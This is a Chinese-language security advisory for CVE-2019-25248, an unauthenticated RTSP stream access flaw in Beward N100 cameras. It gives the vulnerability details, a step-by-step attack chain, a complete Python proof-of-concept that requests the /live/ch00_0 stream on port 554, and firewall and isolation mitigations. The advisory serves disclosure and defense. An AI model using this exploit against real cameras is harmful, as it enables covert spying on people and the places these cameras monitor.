IPBUF安全漏洞报告
English
CVE-2019-25248 CVSS 7.5 高危

CVE-2019-25248: Beward N100摄像头未授权访问视频流漏洞

披露日期: 2025-12-24

漏洞信息

漏洞编号
CVE-2019-25248
漏洞类型
未授权访问
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Beward N100 M2.1.6.04C014

相关标签

未授权访问视频监控安全RTSP物联网安全BewardNVR网络摄像头认证绕过

漏洞概述

CVE-2019-25248是影响Beward N100系列摄像头的一个高危安全漏洞,该漏洞允许远程攻击者在无需任何认证的情况下访问设备的实时视频流。漏洞存在于视频访问机制中,由于缺乏适当的身份验证检查,攻击者可以直接获取摄像头的RTSP(实时流协议)流,而无需提供任何用户名或密码。这意味着一旦设备暴露在互联网上,攻击者可以轻易地窃取监控画面,获取敏感场所的实时视频内容。该漏洞的CVSS评分为7.5分,属于高危级别,主要影响机密性。由于无需认证即可利用,攻击门槛极低,任何能够访问目标设备网络的人都可以实施攻击。此类漏洞对依赖网络摄像头进行安全监控的组织构成严重威胁,因为攻击者不仅可以窃取视频内容,还可能利用获取的信息进行进一步的攻击或勒索。

技术细节

该漏洞的核心问题在于Beward N100摄像头的RTSP服务缺少身份验证机制。RTSP(Real Time Streaming Protocol)是用于控制多媒体数据传输的协议,常见的视频监控系统都使用该协议来传输实时视频流。正常情况下,RTSP服务应该要求客户端提供有效的凭证才能访问视频流,但该摄像头固件版本M2.1.6.04C014中的实现存在缺陷,未对访问请求进行任何认证检查。攻击者只需构造正确的RTSP请求,即可直接获取视频流URL并开始接收视频数据。技术层面,攻击者可以使用标准的RTSP客户端工具(如VLC media player、ffmpeg或rtsp-client)直接连接摄像头的RTSP端口(通常为554),无需提供任何认证信息即可获取实时视频。漏洞利用的关键在于RTSP协议中的DESCRIBE和PLAY方法,这些方法在存在漏洞的固件中不会被验证会话或凭证。攻击者获取视频流后,可以将其录制保存用于后续分析,或者实时监控目标场所。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者扫描互联网或内网中暴露的Beward N100摄像头设备,识别其IP地址和开放的RTSP端口(554)
STEP 2
步骤2: 构造RTSP请求
攻击者构造恶意的RTSP DESCRIBE请求,直接访问摄像头的视频流路径(如/live/ch00_0),无需提供任何认证凭证
STEP 3
步骤3: 发送 exploit
使用Python脚本或标准RTSP客户端(如ffmpeg、VLC)向目标摄像头发送未认证的RTSP请求
STEP 4
步骤4: 获取视频流
如果目标设备存在漏洞,RTSP服务器将返回200 OK和SDP描述信息,包含视频流的访问URL
STEP 5
步骤5: 视频窃取
攻击者使用RTSP客户端连接到视频流,实时观看或录制监控画面,获取敏感场所的实时视频内容

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # CVE-2019-25248 PoC - Beward N100 Unauthenticated RTSP Stream Access # Usage: python3 cve-2019-25248.py <target_ip> import sys import socket def exploit_beward_rtsp(target_ip, rtsp_port=554): """ Exploit for CVE-2019-25248: Beward N100 Unauthenticated RTSP Stream Access This PoC demonstrates how to access RTSP stream without authentication """ print(f"[*] Target: {target_ip}:{rtsp_port}") print(f"[*] Exploiting CVE-2019-25248...") # Construct RTSP DESCRIBE request without authentication rtsp_describe = f"DESCRIBE rtsp://{target_ip}:{rtsp_port}/live/ch00_0 RTSP/1.0\r\n" rtsp_describe += "CSeq: 1\r\n" rtsp_describe += "User-Agent: Python-RTSP-Client\r\n" rtsp_describe += "Accept: application/sdp\r\n" rtsp_describe += "\r\n" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, rtsp_port)) print("[*] Sending RTSP DESCRIBE request without authentication...") sock.send(rtsp_describe.encode()) response = sock.recv(4096) print(f"[*] Received response ({len(response)} bytes)") print(response.decode('utf-8', errors='ignore')) if "200 OK" in response.decode('utf-8', errors='ignore'): print("[+] SUCCESS: Unauthenticated access to RTSP stream confirmed!") print(f"[+] Video stream URL: rtsp://{target_ip}:{rtsp_port}/live/ch00_0") return True else: print("[-] FAILED: Could not access stream") return False except socket.timeout: print("[-] ERROR: Connection timeout") return False except socket.error as e: print(f"[-] ERROR: {e}") return False finally: sock.close() if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [rtsp_port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 554 exploit_beward_rtsp(target, port)

影响范围

Beward N100 M2.1.6.04C014

防御指南

临时缓解措施
立即在网络边界防火墙上阻断对摄像头RTSP端口(554/TCP)的外部访问;将摄像头部署在独立的网络隔离区域,仅允许经过认证的监控服务器访问;对于必须暴露在互联网的设备,暂时关闭或使用VPN隧道保护;启用网络入侵检测系统监控可疑的RTSP流量模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表